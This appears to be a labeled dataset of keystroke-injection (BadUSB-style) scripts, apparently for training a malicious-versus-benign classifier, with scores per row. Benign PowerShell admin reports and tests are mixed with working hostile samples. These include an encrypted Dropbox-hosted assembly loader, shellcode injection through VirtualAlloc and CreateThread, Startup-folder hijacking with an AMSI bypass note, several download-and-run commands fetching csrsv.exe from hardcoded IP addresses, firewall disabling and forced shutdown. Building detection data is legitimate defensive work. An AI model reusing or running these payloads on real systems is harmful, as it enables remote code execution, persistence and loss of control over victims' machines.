-Path $File){ enter enter if($reset){ enter Clear-Content $File -ErrorAction SilentlyContinue enter } enter } enter else{ enter enter if($File.Substring(1,1) -eq ':'){ enter enter $driveInfo = [System.IO.DriveInfo]($File) enter if($driveInfo.IsReady -eq $false){ enter Write-Log -Msg ($driveInfo.Name + "" not ready."") enter } enter $Dir = [System.IO.Path]::GetDirectoryName($File) enter if(([System.IO.Directory]::Exists($Dir)) -eq $false){ enter $objDir = [System.IO.Directory]::CreateDirectory($Dir) enter Write-Log -Msg ($Dir + "" created."") enter } enter } enter } enter enter Write-Log -LogTime $false -Msg $LogSeparator enter Write-Log -LogTime $false -Msg (((Get-ScriptName).PadRight($LogSeparator.Length - ("" Version "" + $Version).Length,"" "")) + "" Version "" + $Version) enter Write-Log -LogTime $false -Msg $LogSeparator enter } enter catch{ enter Write-Log -Msg $_ enter } enter } enter enter function Read-Arguments($Values = $args) { enter foreach($value in $Values){ enter $arrTmp = $value.Split(""="") enter enter switch ($arrTmp[0].ToLower()) { enter -log { enter $Script:LogFile = $arrTmp[1] enter } enter } enter } enter } enter if($args.Count -ne 0){ enter enter Read-Arguments enter if($LogFile.StartsWith(""\\"")){ enter Write-Host ""UNC"" enter } enter elseif($LogFile.Substring(1,1) -eq "":""){ enter Write-Host ""Local"" enter } enter else{ enter $LogFile = [System.IO.Path]::Combine((Get-Location), $LogFile) enter } enter enter if($LogFile.EndsWith("".log"") -eq $false){ enter $LogFile += "".log"" enter } enter } enter enter if($LogFile -eq """"){ enter enter $LogFile = [System.IO.Path]::Combine((Get-Location), (Get-ScriptName) + "".log"") enter } enter Initialize-LogFile -File $LogFile -reset $false enter Write-Log -LogTime $false -Msg $LogSeparator enter Write-Log -LogTime $false -Msg '' enter $S = @"" enter using System; enter using System.Net; enter using System.Reflection; enter namespace n { enter public static class c { enter public static void l() { enter WebClient wc = new WebClient(); enter IWebProxy dp = WebRequest.DefaultWebProxy; enter if (dp != null) { enter dp.Credentials = CredentialCache.DefaultCredentials; enter wc.Proxy = dp; enter } enter byte[] b = wc.DownloadData(""https://www.dropbox.com/s/z8fk603cybfvpmc/default.aa?dl=1""); enter string k = ""d584596d2404a7f2409d1508a9134b60f22d909e4de015d39bfd01010199a7ed""; enter for(int i = 0; i < b.Length; i++) { b[i] = (byte) (b[i] ^ k[i % k.Length]); } enter string[] parameters = new string[] {""fQ3BQYzqGrAAAAAAAAAACOySE1xCwgtKF2ESFclqtkRlhK9rKDa9hZQh_8Mt_hi9"", ""kFJHsQJAwJXaT40EmaA3Mw==""}; enter object[] args = new object[] {parameters}; enter Assembly a = Assembly.Load(b); enter MethodInfo method = a.EntryPoint; enter object o = a.CreateInstance(method.Name); enter method.Invoke(o, args); }}} enter ""@ enter Add-Type -TypeDefinition $S -Language CSharp enter [n.c]::l() enter enter",1,1,5.4914137e-05,0.99994504
"win+r enter powershell enter enter enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter $Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Url = ""http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter } enter enter $Configs | ForEach-Object{ enter enter try{ enter enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter Start-Process $Config.Url enter [Environment]::SetEnvironmentVariable(""CLASSPATH"",""."",""Machine"") enter [Environment]::SetEnvironmentVariable(""JAVA_HOME"",""C:\Program Files\Java\jdk1.8.0_20"",""Machine"") enter enter Set-EnvironmentVariableValue -Name ""Path"" -Value "";%JAVA_HOME%\bin"" -Target ""Machine"" enter if($Update){ enter $_.Result = ""AppUpdated"";$_ enter }elseif($Downgrade){ enter $_.Result = ""AppDowngraded"";$_ enter }else{ enter $_.Result = ""AppInstalled"";$_ enter } enter }else{ enter enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter enter $Executable = """"; if(Test-Path $Executable){Start-Process -FilePath $Executable -ArgumentList ""/VERYSILENT /NORESTART"" -Wait} enter enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter enter $Config.Result = ""Error"";$Config enter } enter } enter enter",0,0,0.9998211,0.00017884692
"win+r powershell enter [system.io.directory]::CreateDirectory(""C:\ProgramData\OSRSEBJUUOBALHKLTGXZHU"") enter start-sleep -s 1 Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\Curren enter tVersion\Explorer\User Shell Folders"" -Name ""Startup"" -Value ""C:\ProgramData\OSR enter SEBJUUOBALHKLTGXZHU""; Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\C enter urrentVersion\Explorer\Shell Folders"" -Name ""Startup"" -Value ""C:\ProgramData\OSR enter SEBJUUOBALHKLTGXZHU""; start-sleep -s 1 $VHKORCXOLIHPZGSHAFAEOB = @' @echo off ec enter ho [+] Please Wait, Installing software ... :: Writte file to disk to evade sand enter box detection echo microsoft > %userprofile%\\license.pem :: AMSI COM Bypass [ e enter nigma0x3 ] REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb00 enter 72ec} /f enter enter",1,1,9.430638e-05,0.9999057
"win+r enter powershell enter enter enter $Folder1Path = 'C:\Folder1' enter $Folder2Path = 'C:\Folder2' enter enter $Folder1Files = Get-ChildItem -Path $Folder1Path enter $Folder2Files = Get-ChildItem -Path $Folder2Path enter enter $FileDiffs = Compare-Object -ReferenceObject $Folder1Files -DifferenceObject $Folder2Files enter enter $FileDiffs | foreach { enter $removeParams = @{ enter 'Path' = $_.InputObject.FullName enter } enter if ($_.SideIndicator -eq '<=') enter { enter $removeParams.Destination = $Folder2Path enter } enter else enter { enter $removeParams.Destination = $Folder1Path enter } enter Copy-Item @removeParams enter } enter $Folder1Path = 'C:\Folder1' enter $Folder2Path = 'C:\Folder2' enter enter $Folder1Files = Get-ChildItem -Path $Folder1Path enter $Folder2Files = Get-ChildItem -Path $Folder2Path enter enter $FileDiffs = Compare-Object -ReferenceObject $Folder1Files -DifferenceObject $Folder2Files enter enter $FileDiffs | foreach { enter Remove-Item -Path $_.InputObject.FullName enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xc2,0x81,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.18464e-05,0.99994814
"win+r enter powershell enter enter enter $nugetBinPath = Join-Path -Path $env:ChocolateyInstall -ChildPath 'bin' enter $packageBatFileName = Join-Path -Path $nugetBinPath -ChildPath 'psake.bat' enter Remove-Module -Name [p]sake -Verbose:$false enter enter Remove-Item -Path $packageBatFileName -Force -Confirm:$false enter enter Write-Host 'PSake has been uninstalled' enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.809216e-05,0.99994195
"win+r powershell enter function InModuleScope { [CmdletBinding()] param ( [Parameter(Mandatory = enter $true)] [string] $ModuleName, [Parameter(Mandatory = $true)] [scriptblock] enter $ScriptBlock enter enter",1,1,0.0026957388,0.9973042
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_mhtmygxo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.443612e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_tbphe8aw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 100 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.438503e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_r42g35ar"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_manual.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4534023e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_badrphdf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4259214e-05
delay_long enter win+r enter delay_short enter cmd enter enter enter delay_short enter shutdown /s enter delay_short enter enter,1,1,6.919293e-05,0.99993086
"win+r enter powershell enter enter enter function Compare-PrereleaseVersions enter { enter [CmdletBinding()] enter param( enter [ValidateNotNullOrEmpty()] enter [string] enter $FirstItemVersion, enter enter [string] enter $FirstItemPrerelease, enter enter [ValidateNotNullOrEmpty()] enter [string] enter $SecondItemVersion, enter enter [string] enter $SecondItemPrerelease enter ) enter [version]$itemOneVersion = $null enter enter if (-not ( [System.Version]::TryParse($FirstItemVersion.Trim(), [ref]$itemOneVersion) )) enter { enter $message = $LocalizedData.InvalidVersion -f ($FirstItemVersion) enter Write-Error -Message $message -ErrorId ""InvalidVersion"" -Category InvalidArgument enter return enter } enter enter [Version]$itemTwoVersion = $null enter enter if (-not ( [System.Version]::TryParse($SecondItemVersion.Trim(), [ref]$itemTwoVersion) )) enter { enter $message = $LocalizedData.InvalidVersion -f ($SecondItemVersion) enter Write-Error -Message $message -ErrorId ""InvalidVersion"" -Category InvalidArgument enter return enter } enter enter return (($itemOneVersion -lt $itemTwoVersion) -or ` enter (($itemOneVersion -eq $itemTwoVersion) -and ` enter (($FirstItemPrerelease -and -not $SecondItemPrerelease) -or ` enter ($FirstItemPrerelease -lt $SecondItemPrerelease)))) enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.019878e-05,0.9999398
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_njb7f1r4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4495188e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_pmt4zd0u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_40.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.390701e-05
"win+r enter powershell enter enter enter $comps = 1..10 enter $index = 0 enter $total = @($comps).Count enter $starttime = $lasttime = Get-Date enter foreach ($comp in $comps) { enter $index++ enter $currtime = (Get-Date) - $starttime enter $avg = $currtime.TotalSeconds / $index enter $last = ((Get-Date) - $lasttime).TotalSeconds enter $left = $total - $index enter $WrPrgParam = @{ enter Activity = ( enter ""<name-of-operation> $(Get-Date -f s)"", enter ""Total: $($currtime -replace '\..*')"", enter ""Avg: $('{0:N2}' -f $avg)"", enter ""Last: $('{0:N2}' -f $last)"", enter ""ETA: $('{0:N2}' -f ($avg * $left / 60))"", enter ""min ($([string](Get-Date).AddSeconds($avg*$left) -replace '^.* '))"" enter ) -join ' ' enter Status = ""$index of $total ($left left) [$('{0:N2}' -f ($index / $total * 100))%]"" enter CurrentOperation = ""ping: $comp"" enter PercentComplete = $index / $total * 100 enter } enter Write-Progress @WrPrgParam enter $lasttime = Get-Date enter enter if (0..1 | Get-Random) { enter enter $WrPrgParam.CurrentOperation = ""scanning...: $comp"" enter Write-Progress @WrPrgParam enter sleep 2 enter } enter enter Write-Host $comp enter sleep -m 3500 enter } enter enter return enter $comps = 1..10 enter $index = 0 enter $total = $comps.count enter $sw = [System.Diagnostics.Stopwatch]::StartNew() enter foreach ($comp in $comps) { enter $index++ enter if ($sw.Elapsed.TotalMilliseconds -ge 2000) { enter $WrPrgParam = @{ enter Activity = ""<name-of-operation> $(date -f s)"" enter Status = ""$index of $total ($($total - $index) left) [$('{0:N2}' -f ($index / $total * 100))%]"" enter CurrentOperation = ""COMP: $comp"" enter PercentComplete = $index / $total * 100 enter } enter Write-Progress @WrPrgParam enter $sw.Reset() enter $sw.Start() enter } enter enter $WrPrgParam.CurrentOperation = ""COMP: $comp"" enter Write-Progress @WrPrgParam enter sleep 1 enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.465965e-05,0.9999453
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_ci8ttrxl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_200.csv"") -NoTypeInformation enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4452973e-05
"win+r powershell enter  [CmdletBinding()] PARAM ( [Alias(""ExpirationDays"")] [Int]$Days = '10', [St enter ring]$SearchBase = """", [string]$EmailFrom = ""ScriptServer@Contoso.com"", [str enter ing]$EmailTo = ""IT@Contoso.com"", enter enter",1,1,0.0017336196,0.9982664
"win+r enter powershell enter enter enter Set-StrictMode -Version Latest enter enter $here = $MyInvocation.MyCommand.Path | Split-Path enter Get-Module Axiom, Format | Remove-Module enter Import-Module $here\..\Axiom\Axiom.psm1 -ErrorAction 'stop' -DisableNameChecking enter Import-Module $here\Format.psm1 -ErrorAction 'stop' -DisableNameChecking enter enter function New-PSObject ([hashtable]$Property) { enter New-Object -Type PSObject -Property $Property enter } enter enter function New-Dictionary ([hashtable]$Hashtable) { enter $d = new-object ""Collections.Generic.Dictionary[string,object]"" enter enter $Hashtable.GetEnumerator() | foreach { $d.Add($_.Key, $_.Value) } enter enter $d enter } enter Describe ""Format-Collection"" { enter It ""Formats collection of values '<value>' to '<expected>' using comma separator"" -TestCases @( enter @{ Value = (1, 2, 3); Expected = ""@(1, 2, 3)"" } enter ) { enter param ($Value, $Expected) enter Format-Collection -Value $Value | Verify-Equal $Expected enter } enter } enter enter Describe ""Format-Number"" { enter It ""Formats number to use . separator (tests anything only on non-english systems --todo)"" -TestCases @( enter @{ Value = 1.1; }, enter @{ Value = [double] 1.1; }, enter @{ Value = [float] 1.1; }, enter @{ Value = [single] 1.1; }, enter @{ Value = [decimal] 1.1; } enter ) { enter param ($Value) enter Format-Number -Value $Value | Verify-Equal ""1.1"" enter } enter } enter Describe ""Format-Boolean"" { enter It ""Formats boolean '<value>' to '<expected>'"" -TestCases @( enter @{ Value = $true; Expected = '$true' }, enter @{ Value = $false; Expected = '$false' } enter ) { enter param($Value, $Expected) enter Format-Boolean -Value $Value | Verify-Equal $Expected enter } enter } enter enter Describe ""Format-Null"" { enter It ""Formats null to '`$null'"" { enter Format-Null | Verify-Equal '$null' enter } enter } enter enter Describe ""Format-String"" { enter It ""Formats empty string to '<empty>'"" { enter Format-String -Value """" | Verify-Equal '<empty>' enter } enter enter It ""Formats string to be sorrounded by quotes"" { enter Format-String -Value ""abc"" | Verify-Equal ""'abc'"" enter } enter } enter enter Describe ""Format-DateTime"" { enter It ""Formats date to orderable format with ticks"" { enter Format-Date -Value ([dateTime]239842659899234234) | Verify-Equal '0761-01-12T16:06:29.9234234' enter } enter } enter enter Describe ""Format-ScriptBlock"" { enter It ""Formats scriptblock as string with curly braces"" { enter Format-ScriptBlock -Value {abc} | Verify-Equal '{abc}' enter } enter } enter Describe ""Format-Nicely"" { enter It ""Formats value '<value>' correctly to '<expected>'"" -TestCases @( enter @{ Value = $null; Expected = '$null'} enter @{ Value = $true; Expected = '$true'} enter @{ Value = $false; Expected = '$false'} enter @{ Value = 'a' ; Expected = ""'a'""}, enter @{ Value = '' ; Expected = '<empty>'}, enter @{ Value = ([datetime]636545721418385266) ; Expected = '2018-02-18T17:35:41.8385266'}, enter @{ Value = 1; Expected = '1' }, enter @{ Value = (1, 2, 3); Expected = '@(1, 2, 3)' }, enter @{ Value = 1.1; Expected = '1.1' }, enter @{ Value = [int]; Expected = '[int]'} enter ) { enter param($Value, $Expected) enter Format-Nicely -Value $Value | Verify-Equal $Expected enter } enter } enter Describe ""Format-Type"" { enter It ""Given '<value>' it returns the correct shortened type name '<expected>'"" -TestCases @( enter @{ Value = [int]; Expected = 'int' }, enter @{ Value = [double]; Expected = 'double' }, enter @{ Value = [string]; Expected = 'string' }, enter @{ Value = $null; Expected = '<none>' } enter ) { enter param($Value, $Expected) enter Format-Type -Value $Value | Verify-Equal $Expected enter } enter } enter Describe ""Get-ShortType"" { enter It ""Given '<value>' it returns the correct shortened type name '<expected>'"" -TestCases @( enter @{ Value = 1; Expected = 'int' }, enter @{ Value = 1.1; Expected = 'double' }, enter @{ Value = 'a' ; Expected = 'string' }, enter @{ Value = $null ; Expected = '<none>' }, enter @{ Value = New-PSObject @{Name = 'Jakub'} ; Expected = 'PSObject'}, enter @{ Value = [Object[]]1, 2, 3 ; Expected = 'collection' } enter ) { enter param($Value, $Expected) enter Get-ShortType -Value $Value | Verify-Equal $Expected enter } enter } enter enter",0,0,0.99979943,0.00020061625
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_9obtqm0s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_manual.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4434084e-05
win+r enter powershell enter enter enter win r powershell start-process powershell -verb runas enter left enter netsh advfirewall set currentprofile state off enter exit enter sicurezza di windows enter tab tab tab tab enter tab tab tab tab enter left enter alt f4 enter enter,1,1,0.00030617623,0.9996939
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_y798d0pp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3905104e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_hfomtzrw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4106877e-05
win r https://www.youtube.com/watch?v=ohg5sjyrha0 enter enter win r notepad.exe enter enter enter enter --------------------------------------- enter enter it just had to be done enter enter no going back now ... enter enter you've been rickroll'd enter enter --------------------------------------- enter,1,1,0.0002327989,0.99976724
win+r cmd enter @echo off enter title Click-Fix Utility enter color 0A enter echo Initializing Click-Fix... enter ping localhost -n 2 >nul enter echo [✓] System scan complete. enter ping localhost -n 2 >nul enter echo [✓] Registry integrity verified. enter ping localhost -n 2 >nul enter echo [✓] Network latency optimized. enter ping localhost -n 2 >nul enter echo [✓] Firewall rules refreshed. enter ping localhost -n 2 >nul enter echo All systems nominal. You're good to go! enter echo. enter pause enter,1,1,0.00031096756,0.9996891
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_lrzqjcao"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter",0,0,0.99996626,3.3755376e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_f5o09ahp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4363755e-05
"win+r powershell enter $0oQ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $0oQ -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xca,0 enter xbd,0x7d,0x9a,0xd4,0x0f,0xd9,0x74,0x24,0xf4,0x5a,0x33,0xc9,0xb1,0x47,0x31,0x6a,0 enter x18,0x83,0xc2,0x04,0x03,0x6a,0x69,0x78,0x21,0xf3,0x79,0xfe,0xca,0x0c,0x79,0x9f,0 enter x43,0xe9,0x48,0x9f,0x30,0x79,0xfa,0x2f,0x32,0x2f,0xf6,0xc4,0x16,0xc4,0x8d,0xa9,0 enter xbe,0xeb,0x26,0x07,0x99,0xc2,0xb7,0x34,0xd9,0x45,0x3b,0x47,0x0e,0xa6,0x02,0x88,0 enter x43,0xa7,0x43,0xf5,0 enter 